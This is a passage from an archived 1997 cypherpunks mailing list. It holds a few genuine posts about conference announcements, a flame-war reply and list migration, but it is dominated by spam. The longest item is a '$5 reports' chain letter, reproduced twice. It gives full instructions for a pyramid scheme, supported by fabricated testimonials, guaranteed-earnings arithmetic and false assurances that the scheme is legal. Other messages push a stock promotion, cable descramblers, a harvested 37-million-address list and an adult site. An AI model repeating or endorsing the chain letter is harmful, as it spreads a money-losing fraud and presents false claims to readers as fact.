exhibit space, please contact the Exhibits and Sponsorship Manager.

A copy of this call for papers as well as other information about the
conference will be available at URL http://www.cwi.nl/conferences/FC98.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: berezina@qed.net (Paul Spirito)
Date: Wed, 5 Nov 1997 06:52:33 -0800 (PST)
To: Jodi Hoffman <jlhoffm@ibm.net>
Subject: Re: Why, Jodi Hoffman?
In-Reply-To: <34608163.7EB8@ibm.net>
Message-ID: <346184a7.1422966@mail.qed.net>
MIME-Version: 1.0
Content-Type: text/plain


Jodi Hoffman wrote:

>From: Lizard <lizard@mrlizard.com>:
>>
>>So, allying yourself with people who would gladly force *your* childen to pray to *their* God doesn't bother you in the least. Fascinating.

>(bracing for fresh onslaught of anti-Semetic spears to be chucked)

Lizard's a Semite. Could you cite examples of "anti-Semetic spears"?

Paul

The final elegance, not to console
Nor sanctify, but plainly to propound.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 94WD55P1211@aol.com
Date: Thu, 6 Nov 1997 00:22:42 -0800 (PST)
To: members@your.net
Subject: You Can Make $100 From Every FREE Phone Call !!!
Message-ID: <7492304188567@our.com>
MIME-Version: 1.0
Content-Type: text/plain


THE WORLD'S GREATEST INCOME OPPORTUNITY!!!

THIS PROGRAM WILL CHANGE YOUR LIFE FOREVER!!!

Can you think of anything any easier than just promoting a TOLL FREE 
number, and then the  professionals on the other end do all the work 
for you? 

If you can mail a postcard or send e-mail you can earn $1000's each 
week, just like I do.

Just call the following *TOLL FREE* numbers from 8AM-10PM Mon-Sat CST. 

1-800-811-2141 Code 46779 US
 
1-800-588-9786 Code 46779 CANADA 
-0r- 913-762-6715 (alt. for Canada) 

** They are getting over 1,000 calls per day, so don't be surprised 
if you don't get through on the first try. TRY AGAIN, YOU WILL BE 
GLAD THAT YOU DID!!!

THIS TRULY IS THE BEST PROGRAM YOU'VE EVER SEEN!!!

AND, ALL YOU HAVE TO DO IS CALL THE TOLL FREE #
TO FIND OUT FOR YOURSELF!!!

THIS IS THE OPPORTUNITY YOU'VE BEEN WAITING FOR!!!

YOU OWE IT TO YOURSELF, CALL NOW!!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: billy@bingo.edu
Date: Thu, 6 Nov 1997 10:06:45 -0800 (PST)
To: billy@bingo.edu
Subject: Home Buisness Opportunity
Message-ID: <199711063319HAA34270@post.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Subj:	 Are you getting loads of $5 orders in your mailbox everyday?  I am!!
Date:	97-10-19 21:33:41 EDT
From:	80285881@prodigy.com
To:	You@aol.com


I Never Thought I'd Be the One Telling You This:
I Actually Read a Piece of E-Mail & I'm Going to Europe on the Proceeds!

Hello!

My name is Karen Liddell; I'm a 35-year-old mom, wife, and part-time accountant.  As a rule, I delete all unsolicited "junk" e-mail and use my account primarily for business.  I received what I assumed was this same e-mail countless times and deleted it each time.

About two months ago I received it again and, because of the catchy subject line,  I finally read it.  Afterwards, I thought , "OK, I give in, I'm going to try this.  I can certainly afford to invest $20 and, on the other hand, there's nothing wrong with creating a little excess cash."  I promptly mailed four $5 bills and, after receiving the reports, paid a friend of mine a small fee to send out some e-mail advertisements for me.  After reading the reports, I also learned how easy it is to bulk e-mail for free! 

I was not prepared for the results.  Everyday for the last six weeks, my P.O. box has been overflowing with $5 bills; many days the excess fills up an extra mail bin and I've had to upgrade to the corporate-size box!  I am stunned by all the money that keeps rolling in!

My husband and I have been saving for several years to make a substantial downpayment on a house.  Now, not only are we purchasing a house with 40% down, we're going to Venice, Italy to celebrate!

I promise you, if you follow the directions in this e-mail and be prepared to eventually set aside about an hour each day to follow up (and count your money!), you will make at least as much money as we did.  You don't need to be a wiz at the computer, but I'll bet you already are.   If you can open an envelope, remove the money, and send an e-mail message, then you're on your way to the bank.  Take the time to read this so you'll understand how easy it is.  If I can do this, so can you!

The following is a copy of the e-mail I read:

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
                          This is a LEGAL, MONEY-MAKING PHENOMENON.
         PRINT this letter, read the directions, THEN READ IT AGAIN !!!

You are about to embark on the most profitable and unique program you may ever see.  Many times over, it has demonstrated and proven its ability to generate large amounts of cash.  This program is showing fantastic appeal with a huge and ever-growing on-line population desirous of additional income.

This is a legitimate, LEGAL, money-making opportunity.  It does not require you to come in contact with people, do any hard work, and best of all, you never have to leave the house, except to get the mail and go to the bank!  

This truly is the lucky break you've been waiting for!  Simply follow the easy instructions in this letter, and your financial dreams will come true! When followed correctly, this multi-level marketing program works perfectly..100% EVERY TIME!
Thousands of people have used this program to:
    -  Raise capital to start their own business
    -  Pay off debts
    -  Buy homes, cars, etc.

This is your chance, don't pass it up!

             ----------------------------------------------------------------------------------
                        OVERVIEW OF THIS EXTRAORDINARY 
              ELECTRONIC MULTI-LEVEL MARKETING PROGRAM
             ----------------------------------------------------------------------------------

This is what you will do to reach financial freedom:

You will send thousands of people a product for $5.00 that costs next to nothing to produce and e-mail. As with all multi-level businesses, you will increase your business building your downline and selling the products (reports).  Every state in the U.S. allows you to recruit new multi- level business online (via your computer).

The products in this program are a series of four business and financial reports costing $5.00 each.  Each order you receive via "snail mail" will include:

  * $5.00 cash
  * The name and number of the report they are ordering
  * The e-mail address where you will e-mail them the report they ordered.

To fill each order, you simply e-mail the product to the buyer.  THAT'S IT!  The $5.00 is yours!  This is the EASIEST multi-level marketing business anywhere! 

                           FOLLOW THE INSTRUCTIONS TO THE LETTER AND
                       BE PREPARED TO REAP THE STAGGERING BENEFITS!

                                   ******* I  N  S  T  R  U  C  T  I  O  N  S *******

This is what you MUST do:
1. Order all 4 reports shown on the list below.

     *  For each report, send $5.00 CASH, the NAME & NUMBER OF THE 
        REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR
        RETURN POSTAL ADDRESS (in case of a problem) to the person whose 
        name appears on the list next to the report.
  
     *  When you place your order, make sure you order each of the four
        reports.  You will need all four reports so that you can save them
        on your computer and resell them.

     *  Usually within 10 days you will receive, via e-mail, the four reports. 
         Save them on your computer so they will be accessible for you to send 
         to the 1,000's of people who will order them from you.

2.  IMPORTANT-- DO NOT alter the names of the people who are listed next 
     to each report, or their sequence on the list, in any way other than is
     instructed below in steps "a" through "f" or you will lose out on the
     majority of your profits.  Once you  understand the way this works, you'll 
     also see how it doesn't work if you change it.  Remember, this method 
     has been tested, and if you alter it, it will not work.

    a.  Look below for the listing of available reports.

    b.  After you've ordered the four reports, take this  advertisement and 
         remove the name and address under REPORT #4. This person has 
         made it through the cycle and is no doubt counting their 50 grand!

    c.  Move the name and address under REPORT #3 down to  REPORT #4.  

    d.  Move the name and address under REPORT #2 down to REPORT #3.

    e.  Move the name and address under REPORT #1 down to REPORT #2.

    f.  Insert your name/address in the REPORT #1 position.

       Please make sure you copy everyone's name and address ACCURATELY!!!

3.  Take this entire letter, including the modified list of names, and save 
     it to your computer.  Make NO changes to the instruction portion of this 
     letter.
  
4.  Now you're ready to start an advertising campaign on the
     WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive,
     and there are HUNDREDS of FREE places to advertise. Another
     avenue which you could use for advertising is e-mail lists.  
     You can buy these lists for under $20/2,000 addresses or you
     can pay someone a minimal charge to take care of it for you.

5.  For every $5.00 you receive, all you must do is e-mail them the report
     they ordered.  THAT'S IT!  ALWAYS PROVIDE SAME-DAY SERVICE 
     ON ALL ORDERS!  This will guarantee that the e-mail THEY send out,
     with YOUR name and address on it, will be prompt because they can't
     advertise until they receive the report!

------------------------------------------
AVAILABLE REPORTS
------------------------------------------
***Order Each REPORT by NUMBER and NAME***
Notes:
-  ALWAYS SEND $5 CASH FOR EACH REPORT (checks not accepted)
-  Make sure the cash is concealed by wrapping it in at least two sheets of paper  
-  On one of those sheets of paper, include: (a) the number & name of the report you are ordering, (b) your e-mail address, and (c) your postal address.   It is suggested that you rent a mailbox addressed to an assumed "company" name to avoid your name and home address being sent to millions of people. For an example, see the "company" names listed below.
__________________________________________________________________
REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES" 

ORDER REPORT #1 FROM:  
             MF Group, Inc.
             3550 Centerville HWY Suite 107-145
             Lithonia, Ga  30058
__________________________________________________________________
REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:
            The SRF Enterprises
            4117 Jami Lane
            Lithonia, Ga 30058
 __________________________________________________________________
REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:
            FML
            P.O. Box 927603
            San Diego, Ca  92192-0603
__________________________________________________________________
REPORT #4 "EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:
           Marico
           2350 Spring Road
           #30-194
           Smyrna, GA 30080
__________________________________________________________________
         --------------------------------------------------------------------------------------------------
         HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$
         --------------------------------------------------------------------------------------------------

Let's say you decide to start small just to see how well it works. Assume your goal is to get 10 people to participate on your first level. (Placing a lot of FREE ads on the internet will EASILY get a larger response.) Also assume that everyone else in YOUR ORGANIZATION gets ONLY 10 downline members.  Follow this example to achieve the STAGGERING results below.

1st level--your 10 members with $5...........................................$50
2nd level--10 members from those 10 ($5 x 100)..................$500
3rd level--10 members from those 100 ($5 x 1,000)..........$5,000
4th level--10 members from those 1,000 ($5 x 10,000)...$50,000
                                                   THIS TOTALS        ----------->$55,550

Remember friends, this assumes that the people who participate only recruit 10 people each.  Think for a moment what would happen if they got 20 people to participate!  Most people get 100's of participants! THINK ABOUT IT!

Your cost to participate in this is practically nothing (surely you can afford $20). You obviously already have an internet connection and e-mail is FREE!

 *******TIPS FOR SUCCESS*******

 *  TREAT THIS AS YOUR BUSINESS!  Be prompt, professional, and follow 
     the directions accurately.

 *  Send for the four reports IMMEDIATELY so you will have them when 
    the orders start coming in because:

    When you receive a $5 order, you MUST send out the requested
    product/report to comply with the U.S. Postal & Lottery Laws, Title
    18,Sections 1302 and 1341 or Title 18,  Section 3005 in the U.S. Code,
    also Code of Federal Regs. vol. 16, Sections 255 and 436, which state 
    that "a product or service must be exchanged for money received."

 *  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

 *  Be patient and persistent with this program. If you follow the 
    instructions exactly, the results WILL undoubtedly be SUCCESSFUL!

 *  ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!

 *******YOUR SUCCESS GUIDELINE*******

Follow these guidelines to guarantee your success:

If you don't receive 10 to 20 orders for REPORT #1 within two weeks, continue advertising until you do.  Then, a couple of weeks later you should receive at least 100 orders for REPORT #2.  If you don't, continue advertising until you do.  Once you have received 100 or more orders for REPORT #2, YOU CAN RELAX, because the system is already working for you, and the cash will continue to roll in!

THIS IS IMPORTANT TO REMEMBER:
Every time your name is moved down on the list, you are placed in front of a DIFFERENT report.  You can KEEP TRACK of your PROGRESS by watching which report people are ordering from you.  If you want to generate more income, send another batch of e-mails and start the whole process again!  There is no limit to the income you will generate from this business!

 *******T  E  S  T  I  M  O  N  I  A  L  S*******

     This program does work, but you must follow it EXACTLY!  Especially the rule of not trying to place your name in a different position, it won't work and you'll lose a lot of potential income.  I'm living proof that it works.  It really is a great opportunity to make relatively easy money, with little cost to you.  If you do choose to participate, follow the program exactly, and you'll be on your way to financial security. 
          Sean McLaughlin, Jackson, MS

     My name is Frank. My wife, Doris, and I live in Bel-Air, MD. I am a cost accountant with a major U.S. Corporation and I make pretty good money. When I received the program I grumbled to Doris about receiving "junk mail." I made fun of the whole thing, spouting my knowledge of the population and percentages involved.  I "knew" it wouldn't work. Doris totally ignored my supposed intelligence and jumped in with both feet. I made merciless fun of her, and was ready to lay the old "I told you so" on her when the thing didn't work... well, the laugh was on me!  Within two weeks she had received over 50 responses. Within 45 days she had received over $147,200 in $5 bills! I was shocked!  I was sure that I had it all figured and that it wouldn't work.  I AM a believer now. I have joined Doris in her "hobby."   I did have seven more years until retirement, but I think of the "rat race" and it's not for me. We owe it all to MLM.
           Frank T., Bel-Air, MD

    The main reason for this letter is to convince you that this system is honest, lawful, extremely profitable, and is a way to get a large amount of money in a short time. I was approached several times before I checked this out. I joined just to see what one could expect in return for the minimal effort and money required.  To my astonishment, I received $36,470.00 in the first 14 weeks, with money still coming in.
           Sincerely yours, Phillip A. Brown, Esq.

    Not being the gambling type, it took me several weeks to make up my mind to participate in this plan. But conservative that I am, I decided that the initial investment was so little that there was just no way that I wouldn't get enough orders to at least get my money back. Boy, was I surprised when I found my medium-size post office box crammed with orders!  For awhile, it got so overloaded that I had to start picking up my mail at the window. I'll make more money this year than any 10 years of my life before. The nice thing about this deal is that it doesn't matter where in the U.S. the people live. There simply isn't a better investment with a faster return.
         Mary Rockland, Lansing, MI

     This is my third time to participate in this plan. We have quit our jobs, and will soon buy a home on the beach and live off the interest on our money.  The only way on earth that this plan will work for you is if you do it. For your sake, and for your family's sake don't pass up this golden opportunity.  Good luck and happy spending!
           Charles Fairchild, Spokane, WA

ORDER YOUR REPORTS TODAY AND GET 
STARTED ON YOUR ROAD TO 
FINANCIAL FREEDOM!!!


For 52,000,000 E-mail addressess visit our website at:

http://www.edgetone.com/industry2/resellers/resell553.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fasc@mxtro.com
Date: Thu, 6 Nov 1997 13:10:14 -0800 (PST)
To: fasc@mxtro.com
Subject: First American Corp.
Message-ID: <199711062110.NAA05627@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


First American Scientific Corporation has developed new technology that
we feel is of global significance to problems arising from human waste
disposal activity.  Full details are available at
http://www.mxtro.com/fasc  .


The technology, which is built into ourKinetic Disintegratioin System, is called 
Kinetic Disintegration Technology (KDT) and incorporates standing 
sound waves and kinetic energy to disintegrate virtually all non-metallic
substances into powders as fine as -400 mesh.  This means that previously
problematic recyclables like rubber (tires), gypsum (drywall), plastics,
insulation, glass, and bio-solid wastes can be cost-effectively
"micronized" and separated for re-use as industrial raw materials.


This information will be of particular interest to investors, municipal
engineers, agricultural research facilities, waste disposal engineers,
recycled product developers, and others who have an interest in
solving the crises being generated from worldwide waste disposal.

Our apologies if you view this information as intrusive, but First American
Scientific Corporation will not contribute to global deforestation by 
disseminating information through printed materials.  We feel this
technology is of the highest global priority.

Thank you for taking the time to read this letter.

Investor Relations
First American Scientific Corporation
NASD EBB:FASC

Please reply with "remove" in the subject line for easy
and permanent removal.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: net@we-deliver.net
Date: Thu, 6 Nov 1997 16:29:43 -0800 (PST)
To: net@we-deliver.net
Subject: Your Boardroom Info Package...
Message-ID: <199711062255.QAB07248@mercury.we-deliver.net>
MIME-Version: 1.0
Content-Type: text/plain


Thank you for reviewing the material below. It will not be re-sent.
 --------------------------------------------------
THE BOARD OF DIRECTORS...
..may be the toughest, most responsible step in your career --
because it isn't a "job", yet literally sets the future of every
corporation, large and small. As a rising business achiever, you
know how crucial boardroom savvy is to your future. But you've also
seen how the 1990's have put directors under a harsh new spotlight from
shareholders, the media, lawmakers and regulators.

What you may NOT know, however, is how the best, most effective
directors cope with these demands, the crucial procedures and
behind-the-scenes skills learned only on the spot in the boardroom.
You don't learn these ultimate career skills from a book or MBA
class. Only the men and women who serve on our top boards, and
their corporate secretaries and counsels -- the real insiders -- could
give you these insights.

And now they can. My online newsletter, BOARDROOM INSIDER, gives
you confidential, first-person tips from those who work on and with
our best boards, in their own words. A goldmine of brief, solid, how-to
tips on making a board work better, gaining your place in the
boardroom, mastering the demands of time, info overload,
administration and boardroom politics. Whether you're a boardroom
vet, a new director, a board advisor, or taking your first steps
up to the boardroom, my BOARDROOM INSIDER offers the 
online intelligence you'll need.

Come to my website

http://www.nethawk.com/~ward/

..and find out how you can become a BOARDROOM INSIDER

As a special BONUS, just add the Discount Code number "50" on the
order form, and deduct $50 OFF the listed subscription price (good
through 11/20/97 only).


------------------------------------------------------
To be removed, please click Reply and 
type "remove" as your subject header.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tri-max@t-1net.com
Date: Thu, 6 Nov 1997 20:08:10 -0800 (PST)
To: tri-max@t-1net.com
Subject: Ad: For Dog Owners Only
Message-ID: <199711070352.VAA01546@ryan.t-1net.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi, 

Here is A Better Way to Wash Your Pet

Think of it as a shower massage for pets. SHAMPETTE easily snaps on to any garden or shower hose. With an integrated shampoo reservoir for instant lather, and flow through massaging fingers that get deep down to the pet's skin. Fleas, ticks & loose hair will have nowhere to hide. 

Special promotional gift with each purchase, go to link below.

http://www.t-1net.com/trimax/Shampette/index.html

Thanks in advance for visiting.....


///////////////////////////////////////////////////////////////////////////////
To be removed from future mailings, please reply with the word "Remove"  in the 
subject line and this software will automatically block you from future mailings!
////////////////////////////////////////////////////////////////////////////////





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgill@ultramax.net
Date: Thu, 6 Nov 1997 18:19:31 -0800 (PST)
To: pgill@ultramax.net
Subject: Advertisment: Free ISP
Message-ID: <199711070219.SAA06594@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


************************************************
Even though you are on our in-house Internet Marketing list at your request or because  you have previously accessed one of our URL's or autoresponders, your online time and privacy is respected. If you wish to be removed from future mailings, please reply by  typing the word "REMOVE" in the subject line then click send. This software will automatically block you from our future mailings. YOU MAY ALSO CHOOSE TO BLOCK ALL INCOMING EMAIL FROM US WITH YOUR EMAIL PROGRAM FILTERING FEATURE SINCE EACH ONE OF OUR ADS BEGIN WITH Advertisment: IN THE SUBJECT HEADER. We are proponents of ethical and legal commercial email.
*************************************************

We get our Internet access free -- month in, month out.  Also, we haven't paid a dime for long distance telephone service for more than a year.  If your interested in how we do it, then visit the following website and see how.

http://www.ultramax.net/~pgill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fred34@netsix.com
Date: Wed, 12 Nov 1997 18:41:30 -0800 (PST)
To: Friend@public.com
Subject: Computer Show Invittion
Message-ID: <Computer show 1275E-s Ticket>
MIME-Version: 1.0
Content-Type: text/plain


+++++++++++++++++++++++++++++++++++++++++++++++++++
mailto: (fred34@netsix.com)  with REM0VE in the subject if you do not wish to receive tickets for future shows.
+++++++++++++++++++++++++++++++++++++++++1286 B  ++++++++++

Dear Computer User

Hello 
My name is Fred Hansen of the Robert Austin Computer Show Corporation. I would like to extend to you a personal invitation to come to the San Francisco Bay Area to attend the Computer Show at the OAKLAND CONVENTION CENTER  Saturday Nov. 8, 1997. The show hours are 10:00 AM to 4:00 PM There is NO CHARGE FOR ADMISSION. This show is THE place to find the latest equipment and information for COMPUTER USE and the INTERNET. It is Northern California's largest computer Computer Show with wholesale prices available to the public.

+++++++++++++++   1286 B  +++++++++++++++++++++++
To save 20% to 50% on your Holiday PC Purchases check the values found at:
http://www.tradespace.com/rasindex.html
Come to the show and meet the the Show Co-Sponsor TradeSpace Inc. for more
great values.
+++++++++++++++   1286 B  +++++++++++++++++++++++
Approximately 50 computer dealers and manufacturers assemble at this facility to present their products to you. These vendors compete with each other to bring you the very latest technology and selection at the lowest possible prices. Seminars are held by major INTERNET SERVICE PROVIDERS to answer questions for you. If you are interested in PURCHASING COMPUTER EQUIPMENT or accessing the INTERNET you should attend this show and see for yourself. 

For show information on the web Visit us at http://www.robertaustin.com 
Bookmark this site to get up to the minute show information and directions.

Email me back (mailto: fred34@netsix.com) and let me know what you think after you see the show. I am looking for your input regarding seminar topics and other items you would like to see in future shows. If you have questions please visit our web site at http://www.robertaustin.com 

++++++++++++++++++++++++++++++++++++++++++++++++++++1286 B  ++++

Please make as many copies of this ticket as needed and 
BRING YOUR FRIENDS to the show with copies of this ticket.

Fill this ticket out and bring it for your PRE REGISTERED admission. It can be used for either of the following two COMPUTER SHOWS. No further registration is required.

OAKLAND CONVENTION CENTER
10th and Broadway, Down Town Oakland in the Beautiful Marriott Hotel
Nov. 8, 1997
Nov. 29, 1997

COW PALACE
Geneva and Santos in Daly City
Nov. 22, 1997  Lower Level enter Gate 5
Dec. 13, 1997  Lower Level enter Gate 5

				(Ticket Below)
Cut Ticket Here>= = = = = = = = = = = = = = = = = = = = = = 

Name__________________________________________________

Address ________________________________________________

City ________________________ State _______ Zip ___________

Telephone ______________________________________________

Email address ___________________________________________

Age ___ Sex ___ Annual household income _____k$

Do you own a computer Y/N ____

Business use Y/N ___  Home use Y/N ____

Are you satisfied with your Internet service Y/N __

				(Ticket Above)
Cut Ticket Here>= = = = = = = = = = = = = = = = = = = = = = 

+++++++++ WHAT YOU WILL SEE ++++++++++++++++++++++1273 B 1 ++++++

BUSINESS COMPUTER AND INTERNET USE
If you use the computer or Internet at your company this is the 
place to learn about them and buy.

DON'T PAY RETAIL PRICES FOR YOUR COMPUTER NEEDS.
FABULOUS PRICES--- 40 Companies all bringing their best 
selection of merchandise and selling at rock bottom prices. 
DON'T MISS THE BARGAINS. NO LOWER COMPUTER 
PRICES IN THE BAY AREA. Wholesale to 
the public. Save up to 90% on new name brand equipment.

COMPARE AND SAVE with the Show Co-Sponsor Tradespace Inc.
To save 20% to 50% on your Holiday PC Purchases check the values found at:
http://www.tradespace.com/rasindex.html
Come to the show and meet the the Show Co-Sponsor TradeSpace Inc. for more
great values.

HARDWARE Huge selection of computer systems, and accessories are
rock bottom prices

SOFTWARE  You will not find a better selection of computer software
including CD ROM's anywhere, being sold at prices that you must see to believe.

BOOKS FOR COMPUTER AND INTERNET Webster books is bringing the
largest selection ever of computer and Internet Books to the show. Over 10,000
volumes are being sold at wholesale prices (20% off list)

HUGE SELECTION --- 40 Companies bring their best selection 
of products and latest technology for you to see.

BAY AREAS LARGEST COMPUTER SHOW

FREE INTERNET SEMINARS -- These seminars will provide you with the latest
information on Internet topics. Come and talk face to face with the technical people
from the Bay Areas Premiere Internet Service Providers. 

LATEST TECHNOLOGY -- These shows bring you together with the manufacturers
that are introducing the very latest advances in technology.

EXPERT ASSISTANCE -- Are you tired of purchasing products from stores with
clerks that have no product knowledge. Each of the vendors has personal knowledge of
their products for immediate answers to your questions.

+++++++++++  SEMINAR SCHEDULE +++++++++++++++1286 B  ++++++++++
10:30	Beginners Internet. - Everything you need to know to get started on the Internet.

11:30	Web Authoring.-How to build a web site using Microsoft Front Page 97. 
	See live demos of web pages being built before your eyes.

12:30	Business Internet Use - Connecting your business to the Internet, ISDN, T1, 
	Dedicated and dial up access, Connecting your office network to the Internet, 
	Multiple Internet E-mail Accounts.

  1:30 E-Commerce "Secure Financial Transactions"

  2:30	Web Authoring.-How to build a web site using Microsoft Front Page 97. 
	See live demos of web pages being built before your eyes.

These seminars are presented by SLIP.NET for the computer show attendee
at NO CHARGE. Join the Internet revolution. Attend to learn how.

Looking forward to seeing you.
Best Regards 
fred34@netsix.com
Fred Hansen

++++++++++++++++++++++++++++++++++++++++++++++++++++1286 B  ++++







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 6 Nov 1997 16:33:12 -0800 (PST)
To: meddle@adept.co.za
Subject: Re: Ooops....!
In-Reply-To: <XFMail.971107012952.meddle@adept.co.za>
Message-ID: <199711070017.AAA11760@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



meddle@adept.co.za writes:
> That should have been cypherpunks-request@toad.com ...

Actually toad.com is no longer the active list; it is just forwarding
posts back to the real list(s) to ease migration.  Subscribing to
toad, you'll get some small fraction of real traffic.

You ought to subscribe to one of:

cypherpunks@cyberpass.net
cypherpunks@algebra.com
cypherpunks@ssz.com

Which theoretically all contain same traffic.

Adam




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cableus@ecast.net
Date: Fri, 7 Nov 1997 14:45:11 -0800 (PST)
To: cableus@ecast.net
Subject: Save Money...Own your own Cable Descrambler!
Message-ID: <bulk.19323.19971107180807@im1.ecast.net>
MIME-Version: 1.0
Content-Type: text/plain


Don't let your cable company force you to pay OUTRAGEOUS
equipment costs to receive basic/premium channels.
We are Midwest Electronics, Inc. America's LARGEST
PROVIDER of cable converters and descramblers and
we feel you shouldn't have to pay TOO MUCH any
more!

The Communications Act of 1996 approved by Congress and
signed by President Clinton in February 1996 now allows
cable subscribers to purchase cable converters and
descramblers from independent vendors.

We have 18 years experience in the cable industry.
We carry most makes and models of cable converters
and descramblers including Jerrold, Scientific Atlanta,
Tocom, Zenith, Pioneer, Panasonic, Novavision and More.
Our prices start at just $150.00.

*** SPECIAL INTERNET OFFER ***

Call us today at (800) 648-3030 M-F 8:00-5:00 C.S.T.
with the model number of your cable company's
converter/descrambler, usually found on top of your
television, and receive a FREE Battery Charger with any
combination unit purchase.

*** ONLY THOSE NOTIFIED BY ELECTRONIC MAIL ARE ELIGIBLE ***

Our SPECIAL Internet Promotion ends November 15, 1997.
When calling please provide us with your e-mail
address in order to receive your FREE BATTERY CHARGER!!!

If are unable to take advantage of our offer at this
time, but would like to receive our FREE CATALOG  reply
to us via e-mail at cableus@ecast.net with your
mailing name or visit our WEBSITE at:

http://www.midwestcable.com

http://www.midwestcable.com

More about us:

* 30-Day Money Back Guarantee!
* We Service What We Sell!
* Personal Assistance Hotline!

Note: No sales to TIME-WARNER or PARAGON cable franchise areas.

-------------------------------------------------------------------------
If you would like to continue receiving updates on prices and other 
information from Midwest Electronics you may REPLY and type SUBSCRIBE 
in the SUBJECT line (Please be sure to include name, address and phone 
for your FREE CATALOG!).  Otherwise, your address will be promptly removed 
from our lists and no further attempts will be made to contact you.
-------------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tia <tia@amateurland.com>
Date: Fri, 7 Nov 1997 21:16:17 -0800 (PST)
To: <cwk@onramp.net>
Subject: THANKS FOR YOUR BUSINESS--SEE WHAT'S NEW!
Message-ID: <199711080513.VAA00355@italy.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Thanks for your business!
http://www.amateurland.com

Now come see what's new at Amateurland.com !!

We now have 15 BEAUTIFUL GIRLS
YOU NEED TO SEE CARRIE & KAYLA!!!
24 HOT REAL AMATEUR VIDEOS
FREE 24 HOUR LIVE VIDEO SEX W/ALL
NEW ORDERS
DOZENS OF FREE SAMPLE PICTURES
& LOT'S MORE!!!!

Come by http://www.amateurland.com

FOR ALL NEW VIDEO ORDERS: MENTION IN YOUR 
REQUEST ON THE ORDER FORM THAT YOU WANT FREE
PRIORITY MAIL SHIPPING, THIS IS ONLY FOR MY
CURRENT AND PREVIOUS CUSTOMERS..THANKS VERY
MUCH!

http://www.amateurland.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 30501668@compuserve.com
Date: Fri, 7 Nov 1997 23:12:11 -0800 (PST)
To: 23552755367@aol.com
Subject: The New De Facto Standard....
Message-ID: <157834865234.GBB21218@compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


{Removal instructions at bottom... }


 ****  Attention Internet Marketers/ Mass E-mailers  ****

    
 <><>  BulkMate v3.0 - the new de facto standard in ultra high-speed 
 <><>  e-mail list pre-processing/management - US$99. 


NOTE: For the first 500 customers - FREE 37 Million e-mail address CD.
      
(..or if you just want the CD only - US$69).


Try BulkMate v3.0 for 5 full days at no cost by downloading the FULLY
FUNCTIONAL demo at our web site. This software will save you HOURS
of work. It's the definitive tool to prepare your lists for mailing. (Works for 
Win95, Win.3.1,and Win NT).


..Just double-click on this web page link:

http://org.auracom.com/trader/ 


Best Regards,   
     Worldwide Marketing Group
   
  

P.S: If you have received this message more than once, we apologize.    
     For removal from any future mailings, just send a blank e-mail to : 

wmgremv@cheerful.com     
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 56810465
Date: Sat, 8 Nov 1997 01:58:09 -0800 (PST)
To: greet-anonys@to7do8me.com
Subject: Are you getting loads of $5 orders in your mailbox everyday? I am !!
Message-ID: <75409320848hsu48040greet-me.com>
MIME-Version: 1.0
Content-Type: text/plain


I Never Thought I'd Be the One Telling You This:
I Actually Read a Piece of e-mail and I'm Going to Europe on the Proceeds!

Hello!

My name is Karen Liddell; I'm a 35-year-old mom,wife, and part-time
accountant.  As a rule, I delete all unsolicited "junk" e-mail and use my
account primarily for business.  I received what I assumed was this same
e-mail countless times and deleted it each time.

About two months ago I received it again and, because of the catchy line, I
finally read it.  Afterwards, I thought, "OK, I give in, I'm going to try
this.  I can certainly afford to invest $20 and, on the other hand, there's
nothing wrong with creating a little excess cash."  I promptly mailed four $5
bills and, after receiving the reports, sent out some e-mail advertisements.
 After reading the reports, I also learned how easy it is to bulk e-mail for
free!

I was not prepared for the results.  Everyday for the last six weeks, my P.O.
box has been overflowing with $5 bills; many days the excess fills up an
extra mail bin and I've had to upgrade to the corporate-size box!  I am
stunned by all the money that keeps rolling in!

My husband and I have been saving for several years to make a substantial
downpayment on a house.  Now, not only are we purchasing a house with 40%
down, we're going to Venice, Italy to celebrate!

I promise you, if you follow the directions in this e-mail and be prepared to
eventually set aside about an hour each day to follow up (and count your
money!), you will make at least as much money as we did.  You don't need to
be a wiz at the computer, but I'll bet you already are.  If you can open an
envelope, remove the money, and send an e-mail message, then you're on your
way to the bank.  Take the time to read this so you'll understand how easy it
